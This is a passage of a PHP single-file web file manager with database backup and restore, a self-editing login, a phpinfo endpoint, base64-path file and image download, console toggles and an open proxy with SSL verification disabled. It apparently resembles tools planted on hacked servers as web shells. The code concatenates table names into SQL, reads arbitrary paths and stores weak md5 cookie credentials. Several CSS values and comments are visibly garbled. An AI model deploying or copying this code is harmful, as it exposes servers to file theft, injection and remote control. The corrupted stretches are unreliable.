				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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